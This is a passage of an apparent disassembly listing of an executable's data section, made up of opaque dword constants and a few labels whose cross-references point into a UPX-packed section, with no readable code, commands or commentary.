		dd 0F203F1B6h, 5C1461C7h, 2C0EDE9Bh, 5AFF6096h,	822C6869h
		dd 635134EAh, 9C811F74h, 0EBB46CD6h, 0E68C212Dh, 0DE0082D7h
		dd 0A92624F1h, 938E8AC6h, 0D255AA96h, 1F0EBC3Eh, 0DFC93281h
		dd 2D49BC05h, 0D82C76Dh, 392DF80h, 9C6B5256h, 0CB3CFCB7h
		dd 3395F98Ch, 886B5118h, 247FB59Ch, 4864253Ah, 4A178ABCh
		dd 36F5541Ch, 0A3D0D99Ch, 90A4D3B7h, 0F702792Fh, 0BD546096h
		dd 0CB4D37B3h, 0B0BEAD31h, 0B683FF26h, 62403EC0h, 91873E35h
		dd 1B4F2A26h, 0D0DDABC9h, 765CEA82h, 2C370B3Eh,	4C6DCA14h
		dd 0B61153EEh, 0DBA1F715h, 42FDD7EEh, 893F345Bh, 0B304A23Ch
		dd 52B451C1h, 23FEBF81h, 462BB206h, 0F08B184Ah,	0AC023C13h
		dd 0F5A00C5h, 8ED2583Dh, 0D3FCB700h, 3B62648Ch,	5B494D29h
		dd 786F739Bh, 73265291h, 0A9903FECh, 0D1757859h, 0A5E9711Eh
		dd 0D301E093h, 0E04CB35Bh, 0A7EA464Dh, 0EE9F83E1h, 20423F91h
		dd 0EC04EDCDh, 3F8B00BFh, 0FFB3F4DDh, 0F4ADC01h, 4490826Fh
		dd 0AE7DE507h, 6985F744h, 446CF31Dh, 3C543A22h,	0A5DF5CCCh
		dd 0A2052C7Ah, 0D6683804h, 6B850043h, 37687896h, 3D851FDFh
		dd 1097F31Eh, 5F3DFC95h, 0DC07C2FCh, 28454234h,	39A20AABh
		dd 97B1E505h, 0DDB11E08h, 9592128Ch, 61D66D3Eh,	5EC3FF3Fh
		dd 2C68630Fh, 92E31242h, 58D7B565h, 4E4CFDB8h, 7299909Fh
		dd 5D01FD5Ah, 4B58AEEAh, 62033459h, 32E9024Bh, 0F56C86DEh
		dd 0E9443695h, 607F6BD0h, 5EFA3F5Ah, 0F2AB58AFh, 29ABE8ABh
		dd 0AC288862h, 0B781A09Ah, 0D6FE8996h, 0BAB3048Fh, 0F3E9F6D7h
		dd 721E31Ch, 0B62B7A9Ah, 6633C5ACh, 85E2763Ch, 0E2173C59h
		dd 421EEA6h, 0DF1C4EDAh, 327B671Ah, 0E5328EAFh,	9F763C43h
		dd 0D49E18C0h, 2BA31E97h, 4F5D501Ah, 8D766C43h,	2FBC2893h
		dd 14B6BF55h, 10B2F6D0h, 677437A2h, 0F2A4E12Dh,	0ECBD1817h
		dd 0B5EEDE64h, 61BC9B65h, 313CD3A4h, 0E3BB6D2h,	0E4F87120h
		dd 0AFA0BB5Ah, 2CE5AC9Ah, 0DBD8A610h, 802F60C2h, 8778A2AAh
		dd 54BE6055h, 0B64476AAh, 0DAA9F818h, 4DBBBBEEh, 94F0F9CEh
		dd 0F83D5D87h, 0A0607557h, 0B5D6751Fh, 6F91276Fh, 0B4CFA036h
		dd 0AE8B8C56h, 0D102CA1Fh, 0D4F2ACB1h, 2CE92811h, 9F34BAB4h
		dd 0CBF2BED3h, 6E8AD277h, 69C559CAh, 85B9344Ch,	0F3C1DD28h
		dd 0B2087FEBh, 4E8A66FEh, 692C847Dh, 47186DCAh,	0FD1F2291h
		dd 47B9F533h, 0EA8F4699h, 4426DDA9h, 8F0329AAh,	5747CD83h
		dd 4FDE0F71h, 0C5276D57h, 9AA57616h, 6B46BE4Dh,	0FBF90181h
		dd 2124D349h, 12B7D43Dh, 67C9507Dh, 5509AD07h, 6DB0DE0h
		dd 3E05720Bh, 0AE870D85h, 2306D966h, 0B896AB73h, 0C2A69EB3h
		dd 0F13A326Fh, 4E3398CBh, 80C77806h, 0F0A165C7h, 88FEDF9Eh
		dd 0B9D02883h, 24689A9Bh, 0F51C4933h, 96C654E6h, 4DB74085h
		dd 3B727AA3h, 0B4215E62h, 0BE60234Fh, 4D8CA6ABh, 0BE58B372h
		dd 5D3479BEh, 0D1AB62F8h, 983EDAF4h, 5A7B7551h,	383D775Ah
		dd 8CC9B1D9h, 52B0CC7Ch, 81CBA037h, 0F9B0C2D9h,	2190A895h
		dd 0A2999295h, 72182BA5h, 6F971079h, 6AC1CFB5h,	45B9E48Bh
		dd 0F1DC9A6Fh, 19EC3434h, 92F5B779h, 0BCD8CFE4h, 0A587E33Dh
		dd 67DD0F61h, 0A75CD60Bh, 0D18ADC23h, 0AA55741Bh, 1B7AF06Ch
		dd 0B2BADE3Eh, 438FF151h, 92A2454Ch, 8D67571Eh,	1BCF617Ch
		dd 0FBE429B6h, 0F10717C1h, 4092E5E6h, 0EC20C14Ch, 12A6DE7Ah
		dd 7F73F323h, 67ED6768h, 1209D49Bh, 0FEAFCD67h,	0AF144871h
		dd 0EA31D6EDh, 0C7EA208Fh, 175672CFh, 0BC8C34D6h, 507CE554h
		dd 0D5BB2281h, 4C2C9279h, 0D3AA90DBh, 7480152Dh, 7FC85097h
		dd 644BF64Bh, 389ABB79h
		dd 67EFDA15h, 0CC2E2CE1h, 0B37315A7h, 0ABF6174Ah, 0DE99700Eh
		dd 95CDBBEAh, 48C54FF2h, 0FC2DE6F7h, 5E26DB6Ch,	70D40012h
		dd 0E75EA118h, 685B8086h, 493C9B34h, 0BFA52307h, 96A56126h
		dd 738545C0h, 0C0DA2EC7h, 9BA522B8h, 0CEF5DFB5h, 872400D5h
		dd 0A55CFEB7h, 40CDDE35h, 1ECA9DBFh, 0FE8AABEFh, 0D6342C7Dh
		dd 0CFE343F6h, 5A69B219h, 0A2D5747Ah, 318BF599h, 0B5F6B232h
		dd 0CE6555A5h, 4151B7E7h, 28DE2530h, 9B76A416h,	0F701D2F2h
		dd 7741C4E8h, 0C88B6DBh, 0F1B1F769h, 0B5AD3605h, 459E9248h
		dd 0A5C606D0h, 0D169FB28h, 0C05FC391h, 3DB3B37Bh, 0B7CA8C94h
		dd 731B0F43h, 777BB6A1h, 8C44C096h, 0EF5A998Fh,	0FFCC85BCh
		dd 0DA36714h, 0D5428E16h, 29289712h, 5656D3E9h,	9276EB27h
		dd 2B6868Bh, 0FD5C8810h, 23B3E794h, 99FDA935h, 57016B84h
		dd 0A1511E4h, 0DD62441Eh, 4C1C5EC3h, 4D2D67E4h,	774DF123h
		dd 0EB8E59FBh, 6237D2DAh, 0EFEEBBFCh, 98BBE2Dh,	4AF17743h
		dd 3E5DFD48h, 565B33B7h, 0C1ABF56Bh, 47B68310h,	0FD59DFD7h
		dd 25EF1A34h, 3520F9FAh, 38C8E74Ch, 0E7C41092h,	34ADBB6Ch
		dd 0BD7E5E8Bh, 98EA3EDCh, 0A5CCB9D0h, 4EF9F246h, 0A2F4FDDAh
		dd 0F0845284h, 7CA734E2h, 7C5E3938h, 0FC242FABh, 0E62E7F8Ch
		dd 21792C76h, 96805F26h, 9184556Fh, 0B3EA31E2h,	0F2BEC5C3h
		dd 62F635B9h, 0F63E08C7h, 0B241A602h, 0A16B04EFh, 8D9E0AD0h
		dd 0D69D0624h, 3835AD06h, 0EC685896h, 0AAEBB7D4h, 4483CC18h
		dd 0D5471D29h, 0BE8CDABFh, 4B24C09Ch, 601CF362h, 0A95567FEh
		dd 381354D4h, 8F42D1F4h, 63819CFDh, 1B3AD76Ch, 66E5F5B8h
		dd 24209489h, 4E1DAC92h, 376786D1h, 2135B3C0h, 38C9B2E5h
		dd 35199F51h, 623A4219h, 1A53D0Ch, 9BD48B28h, 0F0951AEh
		dd 0B063B669h, 4DDDCD51h, 7719DFE6h, 0C4A463A9h, 0FC83058h
		dd 3F86A428h, 3495C1DDh, 1697735Ch, 5967BA3Ah, 0DDB8A4FEh
		dd 5FD4034h, 5FA1911Dh,	8984733Fh, 0F18E3CC7h, 308B646Ch
		dd 79E33760h, 49A09A5Bh, 5BBC7417h, 832F1EBAh, 7DB164FAh
		dd 40647AAAh, 0A9F4F645h, 566F163Fh, 2887DB16h,	2CE6B3A3h
		dd 0BA2B0D68h, 62E178CFh, 0AB63CCCh, 98B4A7BFh,	0A03CD1CAh
		dd 0DF2178B9h, 78CC08FEh, 9C91C7ACh, 7513EA60h,	40EA6964h
		dd 948DD0D5h, 0BAA0B46Ch, 33434290h, 631AE67h, 0E628AEC7h
		dd 1253CABFh, 9757A0ECh, 0AB1DCBA5h, 2917C704h,	22FF0F54h
		dd 6FBA0FD8h, 0EB3E38E1h, 21E5CEA6h, 4DD4A959h,	476F3C6Fh
		dd 0CC3D8DFFh, 8503F452h, 61C32612h, 85EC213Dh,	4E5B308Eh
		dd 5A6053CEh, 0ADE1EDBEh, 436EA8F4h, 397C0D3Eh,	0A393B898h
		dd 7340A2BEh, 0A72EF34Ch, 0CDBF4B29h, 92E53547h, 89C2529Ch
		dd 0D49F5C63h, 16C73BC6h, 2F658042h, 0AAB68174h, 0DA39D548h
		dd 569B4272h, 0A8CA7A1Fh, 4BEA71FAh, 0A35135D1h, 3EF88DDh
		dd 7BB1433Ch, 0DE0E602Ch, 97709FCDh, 0DE672E64h, 0DD7B3261h
		dd 0D090C347h, 745A4A9Dh, 39616F53h, 45B80C46h,	0D26950F9h
		dd 33023853h, 851850F7h, 0ECAECA64h, 0FCAB7451h, 80735F61h
		dd 0E80F0EF5h, 0C1952E8Bh, 8C8F60Dh, 347438CFh,	3E667FDFh
		dd 74A595FFh, 0E426203Fh, 4FF4AC52h, 29618B6Eh,	550E665Dh
		dd 0D3770F8h, 375BDBFBh, 6E18B918h, 5E9C8DC3h, 0B53247EDh
		dd 0FEB99EA5h, 584509ABh, 0D0B31966h, 7892F84Ch, 598730E7h
		dd 7C9D0580h, 0B2D8605Ch, 0F97CAF41h, 1571AF80h, 3D96ED02h
		dd 185D8A75h, 0F36589E3h, 0FB51FC00h, 0AE632712h, 8DC15481h
		dd 361788A6h, 0CBD77EB5h, 9D5CAF14h, 3087D77Dh,	0CE600DCFh
		dd 0D6261246h, 0D1095A04h, 2E90D067h, 63CDCA17h, 2D2FDE79h
		dd 0E49A7F91h, 0F3939B6Eh, 0B3A72F28h, 0B8422C98h, 5E64AD14h
		dd 6E6C4022h, 87C980DEh, 3F74A269h, 822224ABh, 0D44D69CAh
		dd 0E6BCCA9Fh, 4C4104C5h, 4716BE0Ah, 0DE69C46Ch, 0EE93AD56h
		dd 39CD6B32h, 9E7F628Fh, 0FED55BA3h, 757520E2h,	8AE78C3Bh
		dd 0E6969E43h, 51AE6A01h, 34379731h, 3F0D229Ch,	2677AD7h
		dd 0B0304D10h, 2C4D5E1Eh, 0B4F15781h, 0FDB1C8BDh, 0E010ED3Fh
		dd 35B60F30h, 0DE5B7D5Dh, 41A9493Eh, 86265ED1h,	6E3BB312h
		dd 4DDA8645h, 9199D5E9h, 21D2636Bh, 2283D1D4h, 0E8446F5h
		dd 3D3EFBDBh, 5B2BC8BAh, 87047D4Eh, 3F8368FDh, 95C8584Ah
		dd 2C25F606h, 0FB2B5F8Dh, 0ED558800h, 0A727E797h, 9B647FB8h
		dd 0C5DB95B1h, 217FC8C3h, 5C4185Bh, 12FD5830h, 0DCBD8E10h
		dd 7D749C5Ah, 9FF37C0Dh, 0EF2C4F86h, 0A131681h,	0B6CFAE1Ch
		dd 4F1B9C03h, 18FBB76h,	47EA8CB4h, 2DAF8A3h, 8D45C19Ch
		dd 15DC71ACh, 14FB695Ch, 0D5C4B0DBh, 891C7B1Eh,	3779F2F2h
		dd 92D74D74h, 45A8EB25h, 3F2FA544h, 0E779C18Ah,	0DC2D0FBh
		dd 2C731590h, 0CF1783E5h, 11B7049Dh, 1C698986h,	25942B66h
		dd 341307C8h, 76FEB255h, 0BD8037D2h, 0C6B0BBDCh, 0ABDB3A5h
		dd 0CB1C8731h, 30D980DAh, 29831C75h, 71BA3379h,	9785D87Eh
		dd 497FA9F2h, 7382DF48h, 0B819334Bh, 1DCB2DDFh,	0E5721C1Dh
		dd 0E791ED89h, 7528127h, 0C7C2C31Dh, 5EF4D3BDh,	5A422CFDh
		dd 0F09BF53Eh, 48810E2Fh, 455DD9AAh, 76B63B03h,	8D1338C2h
		dd 0FF087328h, 0EE62E894h, 0B4C5604Ah, 49AB893Bh, 0F0F2271Ah
		dd 0C5E6F96Dh, 4E2C09C1h, 9647E18Fh, 6D053BEEh,	0B3FBB29Eh
		dd 88BE53F1h, 0BB7255BAh, 2CE540D9h, 2A120914h,	90D0F266h
		dd 6D2A1DA5h, 0B846A55Dh, 0F2B9244Ah, 5A1159DBh, 0D12F6760h
		dd 1A042D0Eh, 0FCF291ADh, 3232CDE6h, 0B4CB65B6h, 86852959h
		dd 0F1E4F771h, 0F286362Bh, 0A673C7A3h, 8FA8087Eh, 3034B120h
		dd 0C1D05A97h, 3FBA6631h, 0ABDA1C97h, 0E0CBCD04h, 0DAFC61D3h
		dd 925F1C1h, 912BFD92h,	315FF1DAh, 0E8539EA2h, 8CAF9782h
		dd 5A5FBD20h, 294FA364h, 4D2E7CE8h, 0C9D5A0CDh,	0B62181EBh
		dd 26A94C1Ch, 77D924CFh, 170E77BCh, 11394FCEh, 0DA3CDCF1h
		dd 461213BCh, 7F448CF7h, 0CA55C9B6h, 4A669840h,	0A8A51B54h
		dd 9D3C8F68h, 7BAAF124h, 0D55BB351h, 1AF9C386h,	6176F665h
		dd 24FA6990h, 3CEA4B6Dh, 211BB02Dh, 0D8D2337Bh,	8567B75Ch
		dd 351FB1E0h, 7EDE2C1Bh, 0C24ECE44h, 3064C905h,	4DA02830h
		dd 0C307A589h, 0DA50DB00h, 567C8ED0h, 1F8D3A0Dh, 727337D6h
		dd 0BEE67112h, 0E6A6EB64h, 0A8A6A85Ch, 0C3E0E47Eh, 106A0E0Bh
		dd 0D788EFFEh, 73F8BCC6h, 2F502425h, 0FF7F6C2Eh, 0C2836DBFh
		dd 0CEBDA18Eh, 79B45F02h, 24AF1FB0h, 0BC9382E0h, 0F92A58E1h
		dd 160BA83Eh, 9EADD8E6h, 9FD10B9h, 0B3A6AD57h, 10856CF1h
		dd 0C4922D0Ch, 806B0AB7h, 0C928595Ch, 3456C749h, 0F8F4461h
		dd 48346451h, 81BF3908h, 10DA0076h, 0A3B53352h,	0F9F54D3Bh
		dd 871BADD8h, 8ED73158h, 23449B84h, 0B9927A2Ch,	0E3F85727h
		dd 0B32261DEh, 22D9D264h, 0DBFA84Dh, 913C991Bh,	28849BA8h
		dd 5431F033h, 25411D17h, 1BA367C0h, 9CE962B7h, 0A263E1BAh
		dd 0F2C3A00h, 9211C8DEh, 0A66E189h, 4DF959BAh, 0F495A46Eh
		dd 0E377015Eh, 0B5CEACDFh, 0EF9BEC8Ah, 0E915873Bh, 3C6B6A20h
		dd 2651E311h, 0E505078Bh, 9F64BDA0h, 5D4FADFDh,	766D46BCh
		dd 3F451299h, 9A9C9679h, 0D67789FCh, 65B5CA19h,	6054E680h
		dd 0AF4A2C89h, 93BCEFCCh, 0B2A2FC5Ch, 37A7A58Eh, 27C201B4h
		dd 0EB2180AFh, 0A3218B22h, 0C342E79h, 8439EABAh, 8EE68D30h
		dd 58E5B72Dh, 416820F2h
		dd 57F48DA9h, 1238DA35h, 0ACE7A925h, 0A484F207h, 0B2484C74h
		dd 0D704FB64h, 50948407h, 0E87856BFh, 0F1435254h, 35A6EAD0h
		dd 0EAD82DA9h, 0F63630BCh, 0DB027512h, 75C650E8h, 80EE5143h
		dd 62175A15h, 0CA3E8860h, 0BE6086F1h, 215FB59h,	0BB1EE65Fh
		dd 0C87321C9h, 0A2680029h, 2A31FF28h, 638EB9D2h, 0B2EDAE73h
		dd 0F327E376h, 6E7A19F3h, 0ABD664A1h, 3056C8EEh, 0C84BDA51h
		dd 235A78BEh, 8CF7468h,	5BBD65EEh, 6F2F939Ah, 0CC34C00h
		dd 0E13A7CD9h, 70067BAh, 79012D5Ah, 0B78270h, 896EDC68h
		dd 0D82ABDA8h, 80C5A6EEh, 0B8BEA82Fh, 93F289A8h, 0D8C1C2EEh
		dd 910F8D1h, 0EF4BEA4Eh, 3953BE51h, 17DA9761h, 44AD9986h
		dd 0A02EAC6Dh, 0A6FF56F0h, 0CECB2118h, 8ACFDFD5h, 0A5162556h
		dd 8F964719h, 0C3ACAA92h, 0C07A3A44h, 0FCA700Bh, 630115B3h
		dd 0E6A6EAAFh, 0EE98726Dh, 0E092D789h, 0B8B5EF29h, 0E471B874h
		dd 2EA2A4AFh, 1FE52A7Bh, 83D0A067h, 0DDD40D55h,	9D21FBFAh
		dd 0B662D3ACh, 41277A4Dh, 0C2BF7480h, 27B348FAh, 0CE1B1717h
		dd 0FD4C3F6Bh, 0D57FC313h, 97ED3787h, 889DA515h, 0F368F385h
		dd 87B892D4h, 8B307EA2h, 31B8B8Ah, 5B147041h, 0E22F28FAh
		dd 770DC6BEh, 0A6FEE158h, 76135547h, 332892F6h,	0C1408502h
		dd 1DC2BE45h, 0C6B616FFh, 0CD3FFEB1h, 484F475Eh, 4920F37Bh
		dd 0FAB210E5h, 570F71D9h, 7104C374h, 478E46BDh,	22F053Ah
		dd 37D18854h, 0F42545F7h, 48A9914Ah, 8FE25B96h,	8F918446h
		dd 0F1EC29FEh, 0DC0CBAB3h, 0FF3284BEh, 0CCD8C850h, 0ABE7F32h
		dd 8CFAADA0h, 0B2497959h, 35D45BAFh, 0B2C90B72h, 0A0579353h
		dd 7708F884h, 0DE4C3824h, 120357DAh, 36A131B1h,	3DDC17CCh
		dd 0D16CD095h, 0B6E02CEFh, 63DB24BCh, 62E16A61h, 10859C12h
		dd 14645D18h, 0ECF8EE2Ch, 7990D6E5h, 0DE9B5A38h, 0FF9E8DFh
		dd 0B15BF139h, 9DE52A72h, 832A419h, 804A58E4h, 37B576Ah
		dd 0D6201E7Ah, 0C9C3CA4Eh, 9CA350BAh, 6E38F1E2h, 11758051h
		dd 0C9472C1Ah, 0EE9F5F5Ah, 8931FA4Eh, 0FEE6097Ah, 1987429Fh
		dd 51887CFBh, 2F2A1DA5h, 0B241F09Dh, 1E971C41h,	164A1270h
		dd 0C2342C41h, 1F9FBDEFh, 34C60921h, 984FE7CAh,	3FD69918h
		dd 0E7F26DF0h, 0B9BD39A4h, 0EAE1D536h, 8A71B09Fh, 0BE8B6E8Fh
		dd 480AF4E3h, 1CBFA3D1h, 79D8444Ah, 0F1460001h,	0B75EEB1Ah
		dd 1106A8ADh, 7A174D2Dh, 0DA48E18Eh, 0C153C987h, 25BB843Eh
		dd 6E140B24h, 0B2384561h, 67A56186h, 272852BBh,	0D4747578h
		dd 0BFE8EDD2h, 3D861795h, 3FC38B64h, 26085544h,	5F3C6A9Eh
		dd 0AFDDA62Eh, 698D280Bh, 1D4D4AC8h, 7B35366Ah,	0D05B6726h
		dd 57640F9Bh, 0FA806C67h, 0A618EFB9h, 7C6AED35h, 30F1259Dh
		dd 1CA7BEF1h, 188DD45Fh, 7B85412Ah, 0A8FA6FE1h,	0A56A93CCh
		dd 0BF3F8ECBh, 67CEE22Ch, 0B84E3DEDh, 2CEBDE71h, 0E93E53ACh
		dd 0DFD63BD9h, 96A00506h, 9ABCEE17h, 1951F823h,	1E347D2Fh
		dd 93C32FC7h, 0A56D4300h, 6385A6E9h, 44C2382Fh,	16DB5C18h
		dd 0ECCD6335h, 8D071E95h, 0EBD0182Bh, 70B61EA5h, 0B70EF3B7h
		dd 8529FB91h, 0DCF4CE42h, 0DADF467h, 0FC671CDEh, 8F2D05B8h
		dd 3416C935h, 0ABA17F13h, 65C62081h, 7C485D30h,	420A6D8Ch
		dd 5BA22D9Bh, 9A97F031h, 86C737F4h, 5EDF07EBh, 731C01A0h
		dd 0DD45564Eh, 1F5F3864h, 3D59ECF2h, 0D35D9E58h, 7C12F905h
		dd 72FBB713h, 8E9905AEh, 228CD079h, 0C5A8ECD9h,	0A8563DBFh
		dd 8B8D25EEh, 3C1E7FB2h, 111818CAh, 0B27A201Fh,	0A21D34D1h
		dd 99F60AE0h, 0C5A5140Bh, 932DBAE3h, 0A1517F96h, 7ED42796h
		dd 6286E267h, 0BC3E48BEh, 0ADFB318Dh, 1919F23Eh, 246CEE07h
		dd 67E06C01h, 0EED80441h, 2178F0B9h, 481A4E08h,	0F88ACC9Ah
		dd 3C1CD1BBh, 1C137216h, 81BE32C4h, 15ABFDCAh, 0FF36358Bh
		dd 76B98B0h, 4D020CEDh,	0DF9457D5h, 7DD69B38h, 7CE51D32h
		dd 79F19EF7h, 5E218AA5h, 21B11878h, 5BCFAC95h, 0F47F0090h
		dd 64D678ECh, 0F4C6CF8Ch, 9646A7A5h, 547CE3FAh,	0F02A97B0h
		dd 2E409529h, 0D2BE82E0h, 0ADAF3401h, 0ACF6D5C8h, 941AEC29h
		dd 5BE6B44Dh, 5B1528C1h, 0F1885A3Fh, 6FD76A51h,	67A914D1h
		dd 0AA80CE7Bh, 7A7AA93Dh, 0B18272FDh, 92F9601Bh, 0FC37A420h
		dd 0C0E0A536h, 0BD8B529Ah, 80044719h, 26814A4Ah, 0B37A9242h
		dd 8EA44856h, 74F1779Eh, 5EBDB87Bh, 52D75283h, 0CDA39D86h
		dd 0EF883315h, 41442D3Ah, 98EFCF3Ch, 0D2829F8Ah, 0E2906114h
		dd 6ADE2711h, 0B5C91DA5h, 0A1E40A2Bh, 2BCCC81Bh, 0AAE9E537h
		dd 0B89649B7h, 0F22C9A29h, 0C44EB143h, 94AB2EC2h, 0D1A4239Dh
		dd 0DC854274h, 0CED4E9CFh, 0E6B6A28Dh, 9C83D4EDh, 4AF9803Fh
		dd 81177A32h, 663DEE93h, 2F262B15h, 492D4D28h, 63D6696Ch
		dd 0B8133163h, 43C65F10h, 3C1CAD34h, 2DCB3AF6h,	0E5AE4372h
		dd 3C545C88h, 0AC3FF8B5h, 6301361Eh, 3B6A4183h,	6159AD5h
		dd 0ACF35B06h, 52FAC7A0h, 58D482BEh, 25EFF841h,	0A53E46A8h
		dd 0D501F27Dh, 0FB8F26B6h, 0B01D3FDh, 27448E23h, 2B0BA236h
		dd 1371A4F7h, 0CF0735A6h, 7E9BE53Fh, 149301F3h,	0A42449F5h
		dd 55589102h, 4E2B2DEDh, 0EF41D020h, 984989A9h,	648B16FEh
		dd 8B3120Ch, 0E8E7472Bh, 0BA5DA12Bh, 5DF97187h,	3DE65375h
		dd 1FCFC7CEh, 4E0AAE97h, 61F0CE79h, 5EDF4798h, 8C0559Eh
		dd 27318A4Dh, 0B9CE7380h, 90AFA47Eh, 82F0358Ah,	4D317EDBh
		dd 38084A7Eh, 0C636FA2Fh, 6ED094C3h, 132A494Bh,	0B9597AF6h
		dd 8BA47BBCh, 0D278AB91h, 297BEC71h, 8734F7B7h,	0B799CB9h
		dd 0C80BE90Fh, 52937D43h, 789EACBEh, 0F78042EAh, 303978E6h
		dd 42557Eh, 19D660D9h, 85D366Bh, 0EB27F500h, 0D6FF94C5h
		dd 3D7EA802h, 2F2523E3h, 0F30EB121h, 0EFA91A3Ch, 4434AA3Ch
		dd 0F7F9A9C4h, 74B866B1h, 0CEC26248h, 5930F0E0h, 0E225FF08h
		dd 456F504Ch, 68632515h, 0D2711028h, 0DF461842h, 42118815h
		dd 679CAE3Eh, 67AB7ED7h, 620A24AAh, 0C713D876h,	3788FCBFh
		dd 0A2C10E7Fh, 97919E89h, 0E4F92A1Dh, 0EDEF663h, 9D447A5Ch
		dd 832F10E1h, 0C5634540h, 3330D9C5h, 0D9FB6735h, 61EBE832h
		dd 0A5BFB30h, 6DE32755h, 25978A06h, 2F69386Fh, 0C3EAF60Fh
		dd 4384236Ch, 0EE7B9717h, 94D4ABCFh, 2F0688FCh,	0E60F4D04h
		dd 0C5AB23DDh, 0DC840863h, 12054E35h, 65C646DAh, 0B2DA2896h
		dd 7E320CAEh, 6BE09776h, 16F5999Fh, 0C7EFA523h,	78509F4Dh
		dd 849A257Dh, 7CE9A2E0h, 7D13019Ah, 3F925683h, 49EC8701h
		dd 85AEA2E5h, 8DE1EB5Eh, 0E1E091AEh, 3BE38CD9h,	190031FFh
		dd 87709A05h, 0F44A958Fh, 747F3330h, 0E6465F35h, 7778DA78h
		dd 0FFF015Bh, 0E567D369h, 14B2FC8h, 0EE5763F4h,	9F31170Dh
		dd 9BF8A72Fh, 76CCB6C8h, 0CB52DCEFh, 480E44A5h,	0E1DF4572h
		dd 9C7DB637h, 0A9D7E585h, 4A4E2660h, 9A4F6A56h,	5E82F204h
		dd 0FCB47106h, 426A67C8h, 99897302h, 0F21479E0h, 0C1F98998h
		dd 0E8A90506h, 6DF12517h, 0A35E776Eh, 60B61E50h, 771B297Ah
		dd 4A62E42h, 0D4D1463Fh, 0B93129BAh, 992F51EEh,	47B1B537h
		dd 1B433691h, 7FEB6AEBh, 592A1820h, 6912B92Eh, 4F06C1h
		dd 0F75049C2h, 0B335992Dh, 34321D48h, 2F29BA3h,	0C0FB5096h
		dd 1B30B3BAh, 8B4488BFh, 0D273725h, 0D142FD99h,	0A3794B0Eh
		dd 0B397B6B4h, 19C69952h, 0DEAB258h, 0B21CAE4Ch, 2F550B86h
		dd 0A5B196CFh, 9DF413A7h
		dd 748F5A7Ch, 0EB93038Fh, 64AABCB0h, 1DFB2ED4h,	0F436DD34h
		dd 9DCAF3C7h, 0F4ADFBE2h, 0A67D91AAh, 13EC2288h, 0A7ADDE6Fh
		dd 98ED4712h, 0ADDFAD6Ah, 3E4EA78Eh, 67445788h,	0A4A70C35h
		dd 2F04D361h, 7F4DAA67h, 7C0B7BD7h, 48507D83h, 92E44295h
		dd 9432730Eh, 0F5BCCF3h, 8C487822h, 0D1F56376h,	7AFB3504h
		dd 0EE8286AEh, 0CE088518h, 71BAAA53h, 0E3E3C49Ch, 0FACDD86Ah
		dd 42D3D285h, 7BEE7FDDh, 92FAD1BFh, 0F68324E4h,	0D3291F97h
		dd 82E6C5CDh, 0E7550F91h, 96147D62h, 7BF8C2D4h,	0D96307A1h
		dd 8868877Eh, 0C8D16093h, 0C0B2B43Fh, 4F7B163Fh, 5A61DCFDh
		dd 84C50D66h, 3F0ADDAFh, 0D0B70C31h, 5C322492h,	0FE061DE8h
		dd 0E2258087h, 3C6C8C03h, 8992ECBDh, 91DFE631h,	5F31B36Ah
		dd 0C7A040C7h, 0A139E1B9h, 9BEE6272h, 0D706F151h, 0BD4DA731h
		dd 784D579h, 96268CCBh,	994E4738h, 0A3BD21A5h, 0B0F0470Ch
		dd 3F8769C8h, 2278A97Bh, 804370ACh, 58A2929Ah, 341F310Bh
		dd 8F085A0Dh, 7BEBDBAEh, 9494A7Dh, 60DFC386h, 0EAEDDDF0h
		dd 717298AAh, 8C029E85h, 9D8F065Ah, 43911D83h, 82841F63h
		dd 0E2884452h, 7326A01Ah, 0D6FDA35Fh, 6123129Dh, 0C65825A5h
		dd 159D2EE9h, 0B79CA6A6h, 0EF398663h, 7A70748Bh, 6AD90516h
		dd 1BEDDE91h, 0EA96D9CFh, 0E20340F3h, 5351F614h, 0DA23981Bh
		dd 2E7772B4h, 138FF0D0h, 0B1FA4620h, 0A759E1A1h, 0B080897Ch
		dd 4A1CA5B0h, 0DFB57761h, 435584F2h, 0F575CB50h, 3A6F8E7Ch
		dd 77C28FA8h, 0BE1279BEh, 508F4979h, 88E9C976h,	4F262B7Ch
		dd 0F0214D15h, 698EF585h, 5DF6EF14h, 5B9097E1h,	6A9A990Ch
		dd 94B2CEE7h
dword_530020	dd 3F82D055h, 0D73F1FA8h, 0D0F921BBh, 82F6C18h,	450679A0h
					; DATA XREF: .data:004ED72Co
		dd 0A5FE4AE6h, 0F227E3E1h, 212544B5h, 50119480h, 0C76B7534h
		dd 0FA263E89h
		db 7Ah
byte_53004D	db 0B3h, 7Dh, 0DCh	; DATA XREF: .data:off_4ED728o
		dd 0DE2803B7h
		db 0E1h
byte_530055	db 2Dh,	99h, 0BEh	; DATA XREF: UPX0:off_42BC84o
					; UPX0:off_42BC9Co
		dd 0F2BC3FE0h, 8B38AF93h, 11EC096Ch, 0C068F512h, 0BB49C514h
		dd 78FF9D58h, 235186A6h, 25F04DE4h, 9EAE4D4h, 3F423EB4h
		dd 395B32C6h, 7E005160h, 8B64BCACh, 3310BE7h, 0E0373ADh
		dd 2C9E606Eh, 1E2F5F9Ch, 4E7A9AA2h, 8659D54Fh, 0C1D095B8h
		dd 6474E4D3h, 8F3B2590h, 7282DDFBh, 26494E5Fh, 36DABCC1h
		dd 0EC840753h, 0C0B5FD9Bh, 7ACEC65Bh, 0F2FCEDDDh, 27F1C801h
		dd 72E615ECh, 0D1054D27h, 0B59361BEh, 0CCC14985h, 1CD89DA5h
		dd 4807A512h, 7680843Ch, 0A6EAF00Eh, 0D1B5BD2Bh, 130A0302h
		dd 55B64E4Fh, 1B2CE41h,	51274D16h, 0DF584772h, 2A702AFh
		dd 0A436646Eh, 6C49EA8Ah, 0AA343968h, 9B2D0721h, 1898A2B0h
		dd 7768A2AAh, 0D8FED8A4h, 72DF6666h, 5C99E858h,	155DAA3Ah
		dd 7FBFA12Dh, 0A8E8761Eh, 70BB1988h, 1A6E21AEh,	940564A0h
		dd 2150A07Fh, 3B998295h, 0ADDC35C0h, 0A898A824h, 0DE629093h
		dd 45ED989Ah, 11F9F5C9h, 701AF2F8h, 0C648C2B6h,	0BFEDF33Fh
		dd 0B37BE95Eh, 0FC24CD00h, 0F55301E2h, 6F0AD25Eh, 4F7C656Ah
		dd 58215A90h, 6A353596h, 0F0FD8F9Bh, 6B5DFFFCh,	211D96EFh
		dd 2C6B05D7h, 92765B27h, 0A048AF14h, 54639977h,	8C6FD5D7h
		dd 6987753Ch, 88074486h, 0C0E1AD66h, 9375C475h,	0EA4AF917h
		dd 196FD8E9h, 17C6CE6Ah, 7F78609Bh, 6EB91548h, 0F5664EBAh
		dd 0D1C5E438h, 551EF939h, 201A88FAh, 0E6ABAC79h, 8BAE5CBDh
